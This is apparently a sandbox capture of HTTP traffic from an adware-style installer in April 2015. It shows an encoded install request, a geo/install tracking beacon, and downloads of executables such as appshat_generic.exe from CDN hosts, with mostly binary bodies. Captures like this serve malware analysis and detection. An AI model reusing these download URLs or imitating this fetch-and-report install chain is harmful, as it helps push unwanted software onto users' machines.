GET /install.ashx?e=eISsn0A7mAaebxLgvS5H7qpNEI 1DWq5tpbGWL7zrrQ4pnkd WsjWQQHUomMkl9QATvQoDxleFsDxgJnHj3vjx0oWXzPcOQmVR5AawbKoxpMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKumYTzO WELM7Ot/W9fkCR9YnH606waHUIFsK7/Ya3qp3H4CQmKwMH4r9Jhf/fTQpezt6pbQmh/1TAyVFa8Kky4wWiZseMklSFEZLrLhs96otwo5V3AagblXQpk3ufzer4FsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdYCQwnMzDg3zHYrlb1IcFzDTNXcF9DTrlfGbtKU5bgzqAwHikIrSv vxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe c91abE2NWPTbXnzkx FKQliZexFjJS44GH02ZDTF81o7EaJf8CJfPgEgBl18xKcF6cXD R1QKA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wt94bf4ec-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: application/octet-stream
Content-Length: 2432
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected].^&.w.S)B}.S.>k.....~j.. .....(!.<..
.y../H=.c........0...(....._.....c<"..D.......h..i<"..D...hnJ...
..8/E......9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S....
..{X.5..#...t....... t.....4. e.. ..,"y1..f....J.G..nf.........<..v
...........*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..
i0u[.f.I..Fy.Y......5....x!..."..fA..#.n.....M3.._. X?...u.V..\.......
e....[.RfmT..F..u\[email protected].......,..r.c.........Bv...?..^.$.o...{.k@
.0.zDO.9.....).Ex_(......|....v....g....)..(A..7p...1.. . ..{..K...e..
q.".....x.Sv...9..c.|.Kn...i...-..u...?'....c9..a........c.e...\.u....
... .;......~V.;.......6.Ev.`M..x&.../..;.....*r.R...[.Y.qu..K*..O .*.
|.C<m....TP.U.h.`9X.1.u.;..8n..o$......3.{p.M..~P...v.n.l.7.J.._...
?R.......[.....-14s.....\......O.M.ydiB...J....hEq.iR.......*..|..(G..
.N......$Z...........~.......B.YZ....a.)v\k...[..l....f.z9.J5.$)f.k...
f....j9Ti.<.=..B........w....S.....t&G6..\rLU../.,..#...8.......1..
n.*U.<p.........!.O.Rd..T.H]...,.O0v.............H...<..........
... C.t^.c.i|....9.dD}..y.P7..z..O...........c....mh..z.=r4_....JP..v.
.w.../.>.....F..u\..R...86p.]...". ....g0[..D....p..iq..l..u.......
...rv.z..u.j............PM. [email protected].. . .
.{..K...e..q.".....x.Sv...9..c.|.Kn.........#....D..0.W...c/......4sx7
r^....bm...>{\....V..lv..y} .t.....`...5.0...W...y....&....Y..%X...
k|..t5.........]._...q(.....u.;..8n..o$......3.{p.M..~P...v.n.l.7.
<<< skipped >>>


GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:12 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 2015 02:29:12
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..
0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 12 Apr 2015 05:05:02 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 2361
X-Cache: Hit from cloudfront
Via: 1.1 4a579376ca6f44d61f50bb8065a6cbae.cloudfront.net (CloudFront)
X-Amz-Cf-Id: h0MGDRX9Nlh6sFgAq6kW9ylkieQYWo5E5OmYgF51b2MpJwhjjx81cQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /preload.php?getCommunicationToken=1&hash=&1429064982698 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Referer: hXXp://grooveshark.com/JSQueue.swf?20130520
Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/json
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Host: grooveshark.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:43 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2; expires=Wed, 22-Apr-2015 02:29:43 GMT; Max-Age=604800; path=/; domain=.grooveshark.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Server: DatYoshiSwaggle
X-Hostname: rhl110
Set-Cookie: ismobile=no;domain=.grooveshark.com;path=/
Cache-Control: private, proxy-revalidate
Content-Encoding: gzip
500a..............is.H.(.W.....Uu.G.....T..5"U......$s..dg&....._... .
@&.L.eo..D..w......m4..o?.'... 37...g.z~...........h2.HO.......32P$9r.
R ...bk...Z-%..........37../.z....3..2.Sxx................7.?~..,..?.O
?...........k3.............d.5....<s.............O.N.......x:.f..}.
1.oF.9.I..>\..9y.......... 3....'....}i.....~9.rv.............0./..
...=...N(?~.8../.O^....x........s.z......k.u2...l...?\.........M...L&W
.! !}.M....Wg....F>L..'./..u2./?.....7..|....^..=.]....-.u.....^|..
./.^]......g...\.DL....o...........#Q..~..7.......I...tb.3.......-.t..
...!\|.t....p..................._..g....g..}.H.z.5...C.vv.^.[.I....{wy
.....i.....g'7...`...o.O._.o._....a......?K.u..)....l...h...z....g..a.
....Q.V%.@...|..K.Z......0....g..%.^<.v=r..l...g!...... ...........
.%.....hr?{....g'Ir..fZV..LWz.........o?...@G..}x...;.a.g...0...,.....
gk....D.........[[email protected])..`......k....;0.W..
}.7./..\....bR...'.g/?~...R.6...$....wg....7a.${...........Fc.....in..
.gg..._..}.G......].:.{1...|........,....................O............
.........&..7.'O..z;.1.B...O:.|.vHa......w..................,..w`.kO..
nzZ.........'[email protected].}./.j%.....W(...>
~...}......6j{Q..of......t2}v...x.}O.......@...,<..4.......a....L..
..{{...U..?..'J.$.|yy~.....W....MG6......9..'o.%.tkF7.7'...6....~../.t
..l....p.`....>...g=/...Rr%.-....Z .e...n.._........B-........!....
.b...J,..........f.c...........^....$..PU.h 8k.~>/svZ..e.^9..]'....
.C....%.).....X... /.V.E.)[email protected]*....mI...U..........
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 13 Apr 2015 10:45:55 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 918846a1ba2750a27f9c82125ff3a08d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: k9T6iiJFs74I90tUvHA4sAWIRmdgCdNMmSGzVFpt4_CsdOSo09mdCw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /css/style.css HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: text/css
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
53f.............X.n.8.=._..1....%.8../s.o.(..9.D..;I.....&jq...4.R.X.{
....$.Z......f.o3JxUN.7w3....x....V...g.x%..UF..R.c]$G%............^..
...b...qvUQU.:Y......K.}/k.......|..1.....n.-S|.8#......l......../..B&
gt;'...#.]../.:!.w.7/......g^.C....3...J...|.e.b...=....2...._...wp...
7....j....I.ee.a.L..{3Y7/....d^....Z.........f6.L..jv.....ql.mA-...Dau
......x.^...........8......:.l..u]1x..7`Z....5.5.`...?.n...-..d.)..)F.
...z..n......"3.Bh...E.r....Nl.W..R%...k..I.... 49`...{ue>.'....L..
...........c.*iN.......?....L.B..%... ...1.b...._....S`.9..S.....B....
.2y.....`.....Zugx.:O)}........C.?]....%......(4...d...... ..0./.!.S..
%.%...d...f.b.J.i..-.][email protected]>0"..(
....L./...4[..;n.x..=.(..A...P.T..AD.X .\x......D.Gq6&p)x.b._...7..D..
.''....C..jA,.......Q..7.. #..3.{...1..p..:..Y....P...0g ..&.......k{.
E....JV.......=..y:[email protected].. `.[.\t"..g8...b*X..aZ...\...'.<Z
/........a..0.v.n..4|.......G.S. D..g7..;.....m./.U..j}`..~....yP...#"
....3;T%.g.1....Y^B.....J.........|..:.s.5.l...C....M.W..fk.......c...
.K..a..}."......n...#....._.iV....u.-d..f...:=..|..T..Nr...E.P6.hK{7..
.r...#=.P..T.6.t...S....x......Oaq........#..:9....5Xa.q{..I!........8
.Z)..BQ.x..?6..{^.<Q...|[email protected].}w...e..!..........(....3..P
..6...M.t..t.Z8%....9.....5...o.H.....P.......c..p..CTu..~..[..PP.....
...... ....la..5 bv.@......|.......0......
<<< skipped >>>

GET /js/scripts.js HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
1ff.............T.n.0... ...S.!%-b..zp..P.h..g..V....H.9....zDJ.....`.
..vvv..|....52.)..[.w._5.......JW...2.W.*..j.. X.....~} *.>?[]|....
Q..&s.[.....tA.7..D...n.Z!s.^....c|.8..l/..J..w..L).XU'.FLvV.0...w...(
.........s.........S_2....w.V{....|.|.3.".f"....X....v)Gq.g..kG..z6...
.B...E..G.B...........4.k=.h0...4..kJ;.. ........u@.(...M.{ 2:..sa....
...CBx.......:..>k.....T..d1..........'.d.......9.n."...c:quU.tP...
F.:.g.-Z...q{...z....W.Nw...O..4.....x.;y}K...$E.E...T...X..%.Y...-...
....)C=...x......>:....G.&.|......0......


GET /js/jquery.smooth-scroll.min.js HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
51e.............Vao.6..._...!6,m..6H...-.a-.-......:I.iI........(9....
.....;...G._..y.........]Q....U...Y7....%.b...5|/...u.{.D.-....p.mxu.]
......7..w..Q......o/F.wE.X.43....**.]?@..*.|4B{ZI.k..&...L..._n<..
...?N....5....F_$...1e8.?<<..D...$..J.#p=.).f..2 Ov.ysl...ef.]..
...Y.4.4....i.oo.H.V`.*.$...BB0.....yJ...WK.......!p....ZS...k.1.,V.l6
.......G.......qpS.~d2U3.2{:.iU...v......r.un....x .s.7...pG.....aA..M
.....j..%......c.S...}....d.9.>QUm|k.!OMF0X`u....u4..zZp..M.....G"N
..6,..|18....b.!<L..3$.......r&..C ..l..'.........Y.:...O...L...h..
.k..Uz....C`..X..h...$H...b.....0Y..),.Y..\..8...._"...V...0..._..4..'
.....4.{gYQ....:x..]w~4......oD..r/x9.W.).........P8..:#........c..,8O
........6...&x.."u.C..E..U`..y2.1.....uD.X1U.. Ye..k..u....#........E.
...&.......icVVp....U= H...).:r..0<...j.oC.".....).mx..vxls.B.\...i
JU.0U1.c..`....?.../Rd;f:E..u1.%..'m......'.%.K$.R...N.jj......A_.H...
..a6._...].G'.L.u.....k..$Q..nJ..4Z...w....6{..2d........2......E...P.
.....D.?.}^...B?.. ...<.Ko......z."[email protected]!.#.&w.
.I...Ill...lI.>......:\-..\G............)^,L$.w.^..X.EW...... .....
hL..S....x.^b.j....].Ib........_9A.7DS...*..Vy...Y..=........\"..v..[.
...=T5.s.......'.?z"..]...|N}...K..._... l%.....?..[z..:1....{......p.
.6.?......pa.?...7...N.....=N.*6....0...O.?^...........W..=.gx.B...-..
..{.-......0......
<<< skipped >>>

GET /images/logo.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: image/jpeg
Content-Length: 5807
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-16af"
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5.......................!..1Aa".Qq......2..B...b3$%.......
......?..u.......i...>#...-..LPv.....t..T.J..5........*jO....5UP...
t..O.h.nP*;.jOJu=?-.%(.%!.Ggh.H#@l. |..UN..~.....C...(e....YA!....8.).
[email protected].\.jY".......z.b;......6..7...M...6..X.&i..Tw.%... ...
..=.c.\$.1l....q;.*.).M..nij..;.....:........J...x..z.....5*......
<<< skipped >>>

GET /thumbnails/banner/images/assets/7/f/7fb9f4ca0fa96299334c18ee76c7b68b.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: image/jpeg
Content-Length: 43783
Last-Modified: Thu, 13 Jun 2013 18:07:09 GMT
Connection: keep-alive
ETag: "51ba0a4d-ab07"
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......JFIF.............`Exif..II*.......1.......&...i...............Pi
casa............0220..................................................
......................................................................
......................................................................
.........................d...........................!.1AQ.."aq.#2....
....$3BRSTbr........%Us.......4tu.....&Cc...6De..'7EVd................
.................J.........................."2..!1ABR.3Qaq....#4Sbr...
...C.....$..cs.....D............?...q.8.....@.[.....}...`.....<....
....< .....C..x.<...(`.<1...]p.k..\.......0.q..Qp...J....Qp.K
[email protected]..\8....0.x..... '.o...~7..&..S}B7...0......q.;
.K....@. ........V. ..`...`..............n.G..%du..K......|..t.oG.4...
C.:..;7.a|HV ....-q.;.....@; .....ew..^h..;"..1'.0'D.....{.j.S......G.
...,:...Rt....z...I=..../*.w....}...Ap.M....M...fg...#b.wo.IdP..^.@.'J
....'.....a.S....C..~LK..s.b;....."xb..$.....C..*..2F....es.'MB...=.G.
1S...3..J........5.......XX,.R.....*.cV.X.@>..fU.=A!w.Q...%.&....8.
....7...?%..j8..|..&...1.].V..I..Y."...Aw!T...1.ua..*..A...J.........C
.....N.G..v-..P..-..4.".x..Y.=........S>......g...5..A.@5-.,....%..
.}.\.........8sf.....4....AE.... ...AE.....LJ....\.A...0.C....E...p...
......I...I...*c_..jt........UZ..tC..GxS.!......4.|u-..C..(5.}......4$
W[.......].-.`...&...G..L..I.8.t...r....>.&!..K.........0Z.|.......
.0Z.|........0Z.|.......`..|............v/...< g......M3.'q.....J..
[email protected].)2B.][email protected]&...4k"E5
<<< skipped >>>

GET /thumbnails/banner/images/assets/3/6/365640f122ef96f033f2f87c6308031e.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 126333
Last-Modified: Thu, 13 Jun 2013 17:56:48 GMT
Connection: keep-alive
ETag: "51ba07e0-1ed7d"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O.....bKGD............ .
IDATx...i..I.%........Q..-...W.?dVvdf..:..<......x..yd..FU..nf.P...
Pu.~...T..TDLE.T.D.D.LDT.LDMD...T.L... ."...R.Q......?e.......5..1P..,
....*.....".M..6...>......ju...Z<.e.z|( ..".s...jb....j.7.$1...i
...V.p_..Y0L..fp..u..Xh..^|i.U....}E...m.N`.....Z......f.Q...m_...UA..
....^S...}sy..N..Q.V&Z....*f]._.?....0.....yB".....D.x...P!W.c%.......
../<,T.Z.2."c...rP. nW1K..g...>.........R...0....r..I.q<....C
....`Ej.N.....".b.uj..0..(..T..J.S.r.eJ...7}......S......x ...r..6...u
J."[email protected]...[G...>I.0.K&H...6b.35UU..Z(...2Z[..F...;.6..
..........4;.B.wb}.<...g."..;[H......uk..jR.. 2.?n.Z .;... .5...x.*
...R...f...glR.U.wb...|j8.#..`..q..-AC).WyI.p....$b..:..h...X..7...B..
.....>V .i>..OS..B...!.....&IJ...*..0 $j$..H...B..a....D........
.;e0C.Fjt.d.D.....j.j..G.....j.ldU'Z".:$.X..t..GA....0b.>rGxx.L.e.p
-{v<....s. .X.r.[Vug.X...............w.)5}..MX<...Ur....I.-*....
.gx..I..b...3X.#K8..|..H..D5.i.#..& .5....... ...GjVU...........%..d.Y
...15]A$...j....fSi...]...C.R..a..y4.[.>[email protected]...
..2..........%.....1y.,..n.7v9U.r.....\.h.s#.Z.J2.i.#[email protected]
Fj=..QhZac..<.e.....d.M&*.Y......2......@B...%[email protected]:.~oY
*.`x.Z,...{.*..M.Q}...B!N.."!.c.......Q{$s.H.$.....S5qU3!..O....<..
\F.:..$-X.O.);...e.."-...^.g<.U.=Y.\N...qB[...?..m<J.T...y.j..4.
p.8......O9.._.....`t...#."...I..:..H..%......h.......g>eW....-....
...r..V.xvF"-....P...d.L.Y....&r....'b.....w..|HS"n.8.v.^V.v..B.B#
<<< skipped >>>

GET /thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 514647
Last-Modified: Thu, 13 Jun 2013 17:01:53 GMT
Connection: keep-alive
ETag: "51b9fb01-7da57"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 275725
Last-Modified: Thu, 13 Jun 2013 18:08:34 GMT
Connection: keep-alive
ETag: "51ba0aa2-4350d"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
